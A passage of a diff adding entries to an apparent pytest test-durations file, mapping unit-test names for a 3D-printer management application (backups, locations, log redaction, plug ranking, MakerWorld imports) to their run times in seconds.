0.0011271033436059952, + "unit/test_launcher_shutdown_config.py::TestWindowsService::test_nssm_waits_long_enough_for_the_ctrl_c_stop": 0.0011253692209720612, + "unit/test_layer_timelapse_expected_archive.py::test_camera_type_defaults_to_mjpeg_when_unset": 0.001211840659379959, + "unit/test_layer_timelapse_expected_archive.py::test_skips_timelapse_when_external_camera_disabled": 0.001087128184735775, + "unit/test_layer_timelapse_expected_archive.py::test_skips_timelapse_when_url_missing_even_if_flag_set": 0.0010941410437226295, + "unit/test_layer_timelapse_expected_archive.py::test_starts_timelapse_when_external_camera_enabled": 0.0013440679758787155, + "unit/test_ldap_migration.py::test_legacy_schema_rejects_null_password_before_migration": 0.05115798581391573, + "unit/test_ldap_migration.py::test_migration_allows_null_password_hash_for_ldap_users": 1.0603639483451843, + "unit/test_ldap_migration.py::test_migration_is_idempotent": 0.8494691280648112, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[MIXED_CASE.GCODE.3MF-gcode.3mf]": 0.001140708103775978, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[Multi.Plate.gcode.3mf-gcode.3mf]": 0.0011149300262331963, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[README-unknown]": 0.0010913759469985962, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[model.3MF-3mf]": 0.001110561192035675, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[model.3mf-3mf]": 0.0011369595304131508, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[model.GCODE-gcode]": 0.0010863058269023895, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[model.gcode-gcode]": 0.001094672828912735, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[model.gcode.3mf-gcode.3mf]": 0.0014948714524507523, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[model.stl-stl]": 0.0010822294279932976, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[not.gcode.3mf.bak-bak]": 0.001111282967031002, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[preview.JPG-jpg]": 0.0010786708444356918, + "unit/test_library_classify_file_type.py::test_classify_file_type_returns_canonical_value[preview.png-png]": 0.001082669012248516, + "unit/test_library_classify_file_type.py::test_gcode_3mf_classification_is_stable_across_extension_casing": 0.0010133609175682068, + "unit/test_library_file_path_guard.py::TestLegacyAbsolutePaths::test_absolute_path_inside_base_is_returned": 0.0012741871178150177, + "unit/test_library_file_path_guard.py::TestLegacyAbsolutePaths::test_absolute_path_outside_base_is_returned": 0.001274818554520607, + "unit/test_library_file_path_guard.py::TestNullInputs::test_empty_string_returns_none": 0.0011482518166303635, + "unit/test_library_file_path_guard.py::TestNullInputs::test_none_returns_none": 0.0012510428205132484, + "unit/test_library_file_path_guard.py::TestRelativePathTraversal::test_normal_relative_path_resolves": 0.0012798598036170006, + "unit/test_library_file_path_guard.py::TestRelativePathTraversal::test_prefix_confusion_is_blocked": 0.0012668156996369362, + "unit/test_library_file_path_guard.py::TestRelativePathTraversal::test_traversal_via_dotdot_raises": 0.0013201730325818062, + "unit/test_library_file_path_guard.py::TestRelativePathTraversal::test_traversal_via_nested_dotdot_raises": 0.0012406250461935997, + "unit/test_library_file_type_backfill_migration.py::test_backfill_flips_only_legacy_gcode_3mf_rows": 0.4491437990218401, + "unit/test_library_file_type_backfill_migration.py::test_backfill_is_idempotent": 0.8511088835075498, + "unit/test_library_file_type_backfill_migration.py::test_backfill_leaves_unrelated_3mf_rows_alone": 0.4642919711768627, + "unit/test_library_print_name.py::test_dict_without_print_name_returned_unchanged": 0.0010637138038873672, + "unit/test_library_print_name.py::test_does_not_mutate_input": 0.0010726898908615112, + "unit/test_library_print_name.py::test_migration_strips_print_name_from_existing_rows": 0.17834430001676083, + "unit/test_library_print_name.py::test_none_passes_through": 0.0011164210736751556, + "unit/test_library_print_name.py::test_print_name_only_collapses_to_empty_dict": 0.0010452689602971077, + "unit/test_library_print_name.py::test_strips_print_name_keeps_siblings": 0.0014554774388670921, + "unit/test_local_backup.py::TestCalculateNextRun::test_daily_after_target_time_schedules_tomorrow_utc": 0.0012818817049264908, + "unit/test_local_backup.py::TestCalculateNextRun::test_daily_before_target_time_schedules_today_utc": 0.0013273581862449646, + "unit/test_local_backup.py::TestCalculateNextRun::test_daily_berlin_local_time_converts_to_utc": 0.0013946229591965675, + "unit/test_local_backup.py::TestCalculateNextRun::test_daily_istanbul_local_time_converts_to_utc": 0.0013673342764377594, + "unit/test_local_backup.py::TestCalculateNextRun::test_dst_spring_forward_gap_does_not_crash": 0.00125797837972641, + "unit/test_local_backup.py::TestCalculateNextRun::test_hourly_returns_next_full_hour": 0.0018947292119264603, + "unit/test_local_backup.py::TestCalculateNextRun::test_invalid_time_defaults_to_0300": 0.0012603430077433586, + "unit/test_local_backup.py::TestCalculateNextRun::test_no_tz_env_falls_back_to_utc": 0.0015019355341792107, + "unit/test_local_backup.py::TestCalculateNextRun::test_unknown_schedule_type_defaults_to_daily": 0.001280331052839756, + "unit/test_local_backup.py::TestCalculateNextRun::test_unrecognised_tz_falls_back_to_utc": 0.001582183875143528, + "unit/test_local_backup.py::TestCalculateNextRun::test_weekly_adds_full_week_utc": 0.001274649053812027, + "unit/test_local_backup.py::TestCalculateNextRun::test_weekly_after_target_time_adds_full_week_from_tomorrow_utc": 0.0012677181512117386, + "unit/test_local_backup.py::TestCalculateNextRun::test_zoneinfo_completely_unavailable_falls_back_to_stdlib_utc": 0.0010939091444015503, + "unit/test_local_backup.py::TestCheckPath::test_unwritable_path_reports_the_remedy": 0.0011822767555713654, + "unit/test_local_backup.py::TestCheckPath::test_writable_path_reports_ok": 0.0012442423030734062, + "unit/test_local_backup.py::TestDeleteBackup::test_delete_nonexistent_backup": 0.0010732216760516167, + "unit/test_local_backup.py::TestDeleteBackup::test_delete_path_traversal_blocked": 0.001054924912750721, + "unit/test_local_backup.py::TestDeleteBackup::test_delete_valid_backup": 0.001154663972556591, + "unit/test_local_backup.py::TestGetStatus::test_initial_status": 0.00109119713306427, + "unit/test_local_backup.py::TestListBackups::test_list_empty_dir": 0.0010919272899627686, + "unit/test_local_backup.py::TestListBackups::test_list_includes_size": 0.0014761565253138542, + "unit/test_local_backup.py::TestListBackups::test_list_nonexistent_dir": 0.0010699545964598656, + "unit/test_local_backup.py::TestListBackups::test_list_only_matching_files": 0.001233873888850212, + "unit/test_local_backup.py::TestListBackups::test_list_sorted_newest_first": 0.05137626361101866, + "unit/test_local_backup.py::TestPruneBackups::test_prune_keeps_retention_count": 0.0015988461673259735, + "unit/test_local_backup.py::TestPruneBackups::test_prune_noop_when_under_retention": 0.001225017011165619, + "unit/test_local_backup.py::TestPruneBackups::test_prune_only_touches_matching_files": 0.0013725124299526215, + "unit/test_local_backup.py::TestResolveBackupFile::test_backslash_blocked": 0.0010456489399075508, + "unit/test_local_backup.py::TestResolveBackupFile::test_dotdot_blocked": 0.0010356809943914413, + "unit/test_local_backup.py::TestResolveBackupFile::test_nonexistent_file": 0.001148131676018238, + "unit/test_local_backup.py::TestResolveBackupFile::test_path_traversal_blocked": 0.0010457718744874, + "unit/test_local_backup.py::TestResolveBackupFile::test_valid_filename": 0.0011416003108024597, + "unit/test_local_backup.py::TestResolveBackupFile::test_wrong_prefix_blocked": 0.001094321720302105, + "unit/test_local_backup.py::TestRunBackupDiagnosis::test_a_non_os_failure_still_reports_plainly": 0.0025076111778616905, + "unit/test_local_backup.py::TestRunBackupDiagnosis::test_read_only_output_dir_is_diagnosed_as_the_sandbox": 0.0016740672290325165, + "unit/test_local_config.py::test_comment_only_file_returns_empty": 0.0011391965672373772, + "unit/test_local_config.py::test_empty_file_returns_empty": 0.0011430522426962852, + "unit/test_local_config.py::test_escaped_characters_round_trip": 0.0012105880305171013, + "unit/test_local_config.py::test_full_config_parses": 0.001150115393102169, + "unit/test_local_config.py::test_invalid_toml_returns_empty": 0.0012775752693414688, + "unit/test_local_config.py::test_missing_file_returns_empty": 0.0010863570496439934, + "unit/test_local_config.py::test_non_string_value_is_dropped": 0.0012768711894750595, + "unit/test_local_config.py::test_ntp_gate_binary_garbage_returns_none": 0.0011868253350257874, + "unit/test_local_config.py::test_ntp_gate_empty_returns_none": 0.0011395672336220741, + "unit/test_local_config.py::test_ntp_gate_missing_returns_none": 0.0010876590386033058, + "unit/test_local_config.py::test_ntp_gate_ok": 0.001132553443312645, + "unit/test_local_config.py::test_ntp_gate_strips_whitespace": 0.0011398261412978172, + "unit/test_local_config.py::test_ntp_gate_unknown_marker_returns_none": 0.0011591827496886253, + "unit/test_local_config.py::test_ntp_gate_warning": 0.001143130473792553, + "unit/test_local_config.py::test_ntp_gate_warning_no_suffix": 0.0011579515412449837, + "unit/test_local_config.py::test_partial_config_only_returns_present_keys": 0.0011440543457865715, + "unit/test_local_config.py::test_unknown_keys_are_ignored": 0.0011618584394454956, + "unit/test_location_ha_sensor_manager_2824.py::TestLastStatePersistence::test_a_long_text_state_is_cut_to_the_column_width": 0.0017018998041749, + "unit/test_location_ha_sensor_manager_2824.py::TestLastStatePersistence::test_an_unchanged_long_state_is_not_a_change_on_every_poll": 0.00196272786706686, + "unit/test_location_ha_sensor_manager_2824.py::TestNotificationEdge::test_a_dropout_does_not_count_as_the_alert_clearing": 0.0028821108862757683, + "unit/test_location_ha_sensor_manager_2824.py::TestNotificationEdge::test_fires_once_on_the_way_in": 0.004867353476583958, + "unit/test_location_ha_sensor_manager_2824.py::TestNotificationEdge::test_passes_the_location_name_not_a_printer_name": 0.0025116270408034325, + "unit/test_location_ha_sensor_manager_2824.py::TestNotificationEdge::test_silent_on_the_first_poll_after_a_restart": 0.0018609575927257538, + "unit/test_location_ha_sensor_manager_2824.py::TestNotificationEdge::test_silent_when_the_sensor_opts_out": 0.0022779498249292374, + "unit/test_location_ha_sensor_manager_2824.py::TestPollLoopSurvival::test_a_cancel_during_the_fallback_sleep_still_stops_the_loop": 0.0016704807057976723, + "unit/test_location_ha_sensor_manager_2824.py::TestPollLoopSurvival::test_survives_a_failing_poll_interval_lookup": 0.00160258449614048, + "unit/test_location_ha_sensor_unique_binding_migration_2824.py::test_collapses_duplicates_to_the_oldest_row": 0.005562306381762028, + "unit/test_location_ha_sensor_unique_binding_migration_2824.py::test_handles_empty_table": 0.004557662643492222, + "unit/test_location_ha_sensor_unique_binding_migration_2824.py::test_is_idempotent": 0.005710724741220474, + "unit/test_location_ha_sensor_unique_binding_migration_2824.py::test_the_index_then_rejects_new_duplicates": 0.005262603983283043, + "unit/test_location_ha_sensor_unique_binding_migration_2824.py::test_the_same_entity_on_two_locations_is_not_a_duplicate": 0.005618782714009285, + "unit/test_location_migration.py::test_backfill_collapses_case_variant_storage_locations": 0.47337070759385824, + "unit/test_location_migration.py::test_backfill_is_idempotent_with_existing_locations": 0.852914035320282, + "unit/test_location_migration.py::test_backfill_links_spool_to_legacy_null_name_key_location": 0.4509618077427149, + "unit/test_location_migration.py::test_backfill_skips_null_and_whitespace_storage_location": 0.4699221355840564, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_real_storage_locations_are_kept[AMS A1 spares]": 0.0015554754063487053, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_real_storage_locations_are_kept[AMS Drybox]": 0.0011304598301649094, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_real_storage_locations_are_kept[Drybox 1]": 0.0011203475296497345, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_real_storage_locations_are_kept[Locker - Top]": 0.0011308109387755394, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_real_storage_locations_are_kept[Shelf A]": 0.0011088484898209572, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_real_storage_locations_are_kept[Spare AMS trays]": 0.0011238669976592064, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_real_storage_locations_are_kept[dadadad]": 0.001154111698269844, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[ H2D-1 - AMS A1 ]": 0.0011178767308592796, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[AMS A1]": 0.0011556446552276611, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[AMS-HT A1]": 0.0011261310428380966, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[External Spool]": 0.0011334139853715897, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[H2D-1 - AMS A1]": 0.0016701500862836838, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[H2D-1 - AMS HT B1]": 0.0013946639373898506, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[H2D-1 - External Spool]": 0.0011303992941975594, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[P1S - AMS-HT A1]": 0.0011603748425841331, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[X1C-2 - AMS C3]": 0.0013791648671030998, + "unit/test_location_service.py::TestIsAmsSlotLocation::test_slot_markers_are_recognised[h2d-1 - ams a1]": 0.0011342456564307213, + "unit/test_location_service.py::test_enrich_spool_dicts_with_location_id": 0.1757583934813738, + "unit/test_location_service.py::test_prepare_internal_spool_payload_from_location_id": 0.18688987661153078, + "unit/test_location_service.py::test_rename_location_duplicate_name_raises": 0.17973184026777744, + "unit/test_location_service.py::test_rename_location_picks_up_legacy_row_with_trailing_whitespace": 0.1882501868531108, + "unit/test_location_service.py::test_rename_location_updates_spool_storage": 0.18542682472616434, + "unit/test_location_service.py::test_resolve_location_by_name_creates": 0.1819148836657405, + "unit/test_location_service.py::test_resolve_spool_location_fields_prefers_location_id": 0.1799545893445611, + "unit/test_location_service.py::test_sync_locations_from_spoolman_dedupes_case_variants": 0.17839047592133284, + "unit/test_location_service.py::test_sync_locations_from_spoolman_handles_dict_payload": 0.1792877996340394, + "unit/test_location_service.py::test_sync_locations_from_spoolman_logs_and_returns_false_on_unavailable": 0.1764059578999877, + "unit/test_location_service.py::test_sync_locations_from_spoolman_reports_no_change_when_only_markers": 0.17507373914122581, + "unit/test_location_service.py::test_sync_locations_from_spoolman_skips_ams_slot_markers": 0.19457423966377974, + "unit/test_location_service.py::test_sync_locations_from_spoolman_stages_without_commit": 0.18059426546096802, + "unit/test_log_credential_redaction.py::TestFfmpegStderrFunnel::test_incremental_reader_strips_the_access_code": 0.0020721936598420143, + "unit/test_log_credential_redaction.py::TestFfmpegStderrFunnel::test_summary_strips_the_access_code": 0.0010819490998983383, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_a_long_scheme_like_run_does_not_blow_up": 0.009660164825618267, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_a_scheme_longer_than_the_cap_still_gets_its_secret_masked": 0.0010890811681747437, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_keeps_everything_that_is_not_the_secret": 0.001129557378590107, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_leaves_credential_free_text_alone": 0.0010802438482642174, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_masks_a_password_containing_an_at_sign": 0.001142982393503189, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_masks_every_scheme_not_just_the_ones_we_use_today": 0.0011977646499872208, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_masks_several_urls_in_one_blob": 0.0010813754051923752, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_masks_the_printer_access_code": 0.0016252072528004646, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_never_runs_past_the_authority_into_the_path": 0.0010851556435227394, + "unit/test_log_credential_redaction.py::TestRedactUrlCredentials::test_tolerates_empty_and_none": 0.0010692635551095009, + "unit/test_log_credential_redaction.py::TestSupportBundleSanitizerUnchanged::test_bundle_still_drops_the_whole_userinfo": 0.0017881318926811218, + "unit/test_log_error_detection.py::TestEdgeCases::test_empty_message": 0.0011424096301198006, + "unit/test_log_error_detection.py::TestEdgeCases::test_message_with_null_values": 0.0011365097016096115, + "unit/test_log_error_detection.py::TestEdgeCases::test_message_with_unknown_fields": 0.0011317720636725426, + "unit/test_log_error_detection.py::TestMQTTMessageProcessingNoErrors::test_process_ams_data": 0.0012324107810854912, + "unit/test_log_error_detection.py::TestMQTTMessageProcessingNoErrors::test_process_hms_errors": 0.0011825766414403915, + "unit/test_log_error_detection.py::TestMQTTMessageProcessingNoErrors::test_process_print_status_message": 0.001421455293893814, + "unit/test_log_error_detection.py::TestMQTTMessageProcessingNoErrors::test_process_xcam_data": 0.0012659626081585884, + "unit/test_log_error_detection.py::TestPrintLifecycleNoErrors::test_print_failure_handling": 0.0012597814202308655, + "unit/test_log_error_detection.py::TestPrintLifecycleNoErrors::test_print_start_to_complete": 0.001315426081418991, + "unit/test_log_error_detection.py::TestServiceImports::test_archive_service_import": 0.0011578509584069252, + "unit/test_log_error_detection.py::TestServiceImports::test_main_module_import": 0.0011129062622785568, + "unit/test_log_error_detection.py::TestServiceImports::test_notification_service_import": 0.0011227140203118324, + "unit/test_log_error_detection.py::TestServiceImports::test_printer_manager_import": 0.0011103320866823196, + "unit/test_logging_filters.py::TestEdgeCases::test_empty_message_dropped": 0.001103016547858715, + "unit/test_logging_filters.py::TestEdgeCases::test_filter_is_idempotent_across_records": 0.0011028377339243889, + "unit/test_logging_filters.py::TestEdgeCases::test_unrelated_log_line_dropped": 0.0010997187346220016, + "unit/test_logging_filters.py::TestNoFalseMatchInUrl::test_path_segment_named_delete_does_not_match": 0.001100311055779457, + "unit/test_logging_filters.py::TestNoFalseMatchInUrl::test_url_containing_verb_substring_does_not_match": 0.0011179056018590927, + "unit/test_logging_filters.py::TestReadOnlyVerbsDropped::test_read_only_verb_dropped[GET /api/v1/printers/1/camera/stream HTTP/1.1]": 0.001168910413980484, + "unit/test_logging_filters.py::TestReadOnlyVerbsDropped::test_read_only_verb_dropped[GET /api/v1/printers/1/status HTTP/1.1]": 0.001162240281701088, + "unit/test_logging_filters.py::TestReadOnlyVerbsDropped::test_read_only_verb_dropped[HEAD /api/v1/health HTTP/1.1]": 0.0011559957638382912, + "unit/test_logging_filters.py::TestReadOnlyVerbsDropped::test_read_only_verb_dropped[OPTIONS /api/v1/printers/1/status HTTP/1.1]": 0.0011609550565481186, + "unit/test_logging_filters.py::TestWriteVerbsKept::test_state_changing_verb_passes[DELETE]": 0.0011512292549014091, + "unit/test_logging_filters.py::TestWriteVerbsKept::test_state_changing_verb_passes[PATCH]": 0.0011577708646655083, + "unit/test_logging_filters.py::TestWriteVerbsKept::test_state_changing_verb_passes[POST]": 0.0011641224846243858, + "unit/test_logging_filters.py::TestWriteVerbsKept::test_state_changing_verb_passes[PUT]": 0.0011613881215453148, + "unit/test_main_plug_rank_2830.py::TestDeterminism::test_equal_plugs_resolve_by_id": 0.001082729548215866, + "unit/test_main_plug_rank_2830.py::TestDeterminism::test_the_documented_order_holds_end_to_end": 0.0010915063321590424, + "unit/test_main_plug_rank_2830.py::TestNoPlugs::test_all_scripts_still_yields_one": 0.0010982677340507507, + "unit/test_main_plug_rank_2830.py::TestNoPlugs::test_no_plugs_means_no_main_plug": 0.0010768882930278778, + "unit/test_main_plug_rank_2830.py::TestPowerCapability::test_home_assistant_needs_a_power_sensor": 0.0011000512167811394, + "unit/test_main_plug_rank_2830.py::TestPowerCapability::test_mqtt_accepts_either_the_new_or_the_legacy_topic": 0.0011089378967881203, + "unit/test_main_plug_rank_2830.py::TestPowerCapability::test_rest_needs_a_power_path": 0.0010973382741212845, + "unit/test_main_plug_rank_2830.py::TestPowerCapability::test_tasmota_reports_power_natively": 0.001092047430574894, + "unit/test_main_plug_rank_2830.py::TestScriptDetection::test_a_tasmota_plug_is_never_a_script": 0.0010848632082343102, + "unit/test_main_plug_rank_2830.py::TestScriptDetection::test_only_ha_script_entities_count[None-False]": 0.0011678896844387054, + "unit/test_main_plug_rank_2830.py::TestScriptDetection::test_only_ha_script_entities_count[light.chamber-False]": 0.0011653052642941475, + "unit/test_main_plug_rank_2830.py::TestScriptDetection::test_only_ha_script_entities_count[script.start_print-True]": 0.0011846013367176056, + "unit/test_main_plug_rank_2830.py::TestScriptDetection::test_only_ha_script_entities_count[switch.outlet-False]": 0.0011869855225086212, + "unit/test_main_plug_rank_2830.py::TestSwitchability::test_matches_what_the_control_endpoint_accepts[plug0-True]": 0.0011778166517615318, + "unit/test_main_plug_rank_2830.py::TestSwitchability::test_matches_what_the_control_endpoint_accepts[plug1-True]": 0.00117484200745821, + "unit/test_main_plug_rank_2830.py::TestSwitchability::test_matches_what_the_control_endpoint_accepts[plug2-True]": 0.0011790608987212181, + "unit/test_main_plug_rank_2830.py::TestSwitchability::test_matches_what_the_control_endpoint_accepts[plug3-True]": 0.0011668773368000984, + "unit/test_main_plug_rank_2830.py::TestSwitchability::test_matches_what_the_control_endpoint_accepts[plug4-False]": 0.0011767055839300156, + "unit/test_main_plug_rank_2830.py::TestSwitchability::test_matches_what_the_control_endpoint_accepts[plug5-False]": 0.0011775456368923187, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_a_monitor_only_plug_still_holds_the_row_on_its_own": 0.0010801060125231743, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_a_plug_that_reports_watts_breaks_a_tie": 0.0010762782767415047, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_a_power_plug_beats_an_accessory": 0.0010786326602101326, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_a_switch_beats_a_script": 0.001073353923857212, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_a_switchable_plug_beats_a_monitor_only_mqtt_plug": 0.0010815570130944252, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_a_visible_plug_beats_a_hidden_one": 0.0010831290856003761, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_an_enabled_plug_beats_a_disabled_one": 0.001084773801267147, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_powering_the_printer_outranks_being_visible": 0.0010729506611824036, + "unit/test_main_plug_rank_2830.py::TestTheOrderOfPreference::test_reporting_watts_does_not_outrank_powering_the_printer": 0.0010962150990962982, + "unit/test_main_plug_rank_2830.py::TestTheReportedCase::test_and_it_wins_whichever_order_they_arrive_in": 0.0010766694322228432, + "unit/test_main_plug_rank_2830.py::TestTheReportedCase::test_the_printers_outlet_beats_an_exhaust_fan": 0.0010916460305452347, + "unit/test_main_plug_rank_2830.py::TestUnsetFlags::test_a_plug_with_no_type_at_all_does_not_raise": 0.001121431589126587, + "unit/test_main_plug_rank_2830.py::TestUnsetFlags::test_a_plug_with_null_flags_ranks_last_rather_than_raising": 0.0010942015796899796, + "unit/test_main_plug_rank_2830.py::TestUnsetFlags::test_and_still_holds_the_row_when_it_is_the_only_plug": 0.0011075874790549278, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_carbon_rod_tasks_apply_to_carbon_models[P1P]": 0.0011287163943052292, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_carbon_rod_tasks_apply_to_carbon_models[P1S]": 0.0011268025264143944, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_carbon_rod_tasks_apply_to_carbon_models[X1C]": 0.0011542141437530518, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_carbon_rod_tasks_apply_to_carbon_models[X1E]": 0.0011268425732851028, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_carbon_rod_tasks_apply_to_carbon_models[X1]": 0.00112894456833601, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_carbon_rod_tasks_do_not_apply_to_a1": 0.001094551756978035, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_carbon_rod_tasks_do_not_apply_to_p2s": 0.0010705683380365372, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_linear_rail_tasks_apply_to_rail_models[A1 Mini]": 0.001167437992990017, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_linear_rail_tasks_apply_to_rail_models[A1]": 0.0011536115780472755, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_linear_rail_tasks_apply_to_rail_models[H2C]": 0.0015836488455533981, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_linear_rail_tasks_apply_to_rail_models[H2D]": 0.001157369464635849, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_linear_rail_tasks_apply_to_rail_models[H2S]": 0.0012087058275938034, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_linear_rail_tasks_do_not_apply_to_p2s": 0.001135868951678276, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_steel_rod_tasks_apply_to_p2s": 0.0011051902547478676, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_steel_rod_tasks_do_not_apply_to_a1": 0.001129928044974804, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_steel_rod_tasks_do_not_apply_to_x1c": 0.0010971259325742722, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_universal_tasks_apply_to_all[A1]": 0.001154203899204731, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_universal_tasks_apply_to_all[H2D]": 0.001153510995209217, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_universal_tasks_apply_to_all[P2S]": 0.0011640815064311028, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_universal_tasks_apply_to_all[X1C]": 0.0011655054986476898, + "unit/test_maintenance_rod_filtering.py::TestShouldApplyToPrinter::test_unknown_model_defaults_to_carbon": 0.0011179856956005096, + "unit/test_makerworld_routes.py::TestCanonicalUrl::test_with_profile_id": 0.0017106663435697556, + "unit/test_makerworld_routes.py::TestCanonicalUrl::test_without_profile_id": 0.0011071553453803062, + "unit/test_makerworld_routes.py::TestCanonicalUrl::test_without_profile_id_when_none": 0.001122545450925827, + "unit/test_makerworld_routes.py::TestImport::test_autocreates_makerworld_folder_when_folder_id_none": 0.2101546125486493, + "unit/test_makerworld_routes.py::TestImport::test_canonical_source_url_includes_profile_id": 0.20898284576833248, + "unit/test_makerworld_routes.py::TestImport::test_filename_from_upstream_is_basenamed": 0.2010100819170475, + "unit/test_makerworld_routes.py::TestImport::test_import_to_external_with_missing_path_returns_400": 0.20764056034386158, + "unit/test_makerworld_routes.py::TestImport::test_import_to_external_with_name_collision_returns_409": 0.20609445124864578, + "unit/test_makerworld_routes.py::TestImport::test_import_to_readonly_external_rejected_at_route": 0.20454144291579723, + "unit/test_makerworld_routes.py::TestImport::test_import_to_writable_external_writes_bytes_to_mount": 0.21121385879814625, + "unit/test_makerworld_routes.py::TestImport::test_response_includes_profile_id": 0.21216698456555605, + "unit/test_makerworld_routes.py::TestImport::test_returns_existing_on_source_url_match": 0.20774102676659822, + "unit/test_makerworld_routes.py::TestImport::test_uses_existing_folder_when_folder_id_provided": 0.20996468514204025, + "unit/test_makerworld_routes.py::TestRecentImports::test_empty_when_no_makerworld_imports": 0.2075607506558299, + "unit/test_makerworld_routes.py::TestRecentImports::test_limit_clamped_to_maximum": 0.20903583522886038, + "unit/test_makerworld_routes.py::TestRecentImports::test_limit_clamped_to_minimum": 0.20722526125609875, + "unit/test_makerworld_routes.py::TestRecentImports::test_limit_is_honoured": 0.19862559344619513, + "unit/test_makerworld_routes.py::TestRecentImports::test_response_matches_pydantic_shape": 0.20378031581640244, + "unit/test_makerworld_routes.py::TestRecentImports::test_returns_items_newest_first": 0.2024198342114687, + "unit/test_makerworld_routes.py::TestResolve::test_flags_already_imported_library_ids": 0.19638441316783428, + "unit/test_makerworld_routes.py::TestResolve::test_happy_path_returns_design_and_instances": 0.1938124019652605, + "unit/test_makerworld_routes.py::TestResolve::test_merges_compatibility_from_design_into_instances": 0.1975560700520873, + "unit/test_makerworld_routes.py::TestResolve::test_rejects_non_makerworld_url": 0.19574124738574028, + "unit/test_makerworld_routes.py::TestResolve::test_resolve_handles_missing_compatibility_gracefully": 0.200705973431468, + "unit/test_makerworld_routes.py::TestStatus::test_rejected_token_blocks_download_and_reports_expired": 0.19545936957001686, + "unit/test_makerworld_routes.py::TestStatus::test_status_reports_no_token_by_default": 0.19401420932263136, + "unit/test_makerworld_s3_tls.py::TestS3DownloadUnchanged::test_non_200_raises_unavailable": 0.006573488935828209, + "unit/test_makerworld_s3_tls.py::TestS3DownloadUnchanged::test_redirects_are_still_refused": 0.005750098265707493, + "unit/test_makerworld_s3_tls.py::TestS3DownloadUnchanged::test_returns_body_and_filename": 0.009901017881929874, + "unit/test_makerworld_s3_tls.py::TestS3DownloadUnchanged::test_size_cap_enforced": 0.0061063459143042564, + "unit/test_makerworld_s3_tls.py::TestS3DownloadUnchanged::test_tls_failure_still_surfaces_as_s3_download_failed": 0.006164063699543476, + "unit/test_makerworld_s3_tls.py::TestS3DownloadUnchanged::test_url_reaches_the_transport_verbatim": 0.006365871988236904, + "unit/test_makerworld_s3_tls.py::TestS3TrustStore::test_context_is_loaded_from_certifi": 0.003390716388821602, + "unit/test_makerworld_s3_tls.py::TestS3TrustStore::test_context_verifies_and_checks_hostname": 0.0058326730504632, + "unit/test_makerworld_s3_tls.py::TestS3TrustStore::test_opener_gets_an_https_handler": 0.007263544946908951, + "unit/test_makerworld_s3_tls.py::TestS3TrustStore::test_real_context_trusts_the_certifi_bundle": 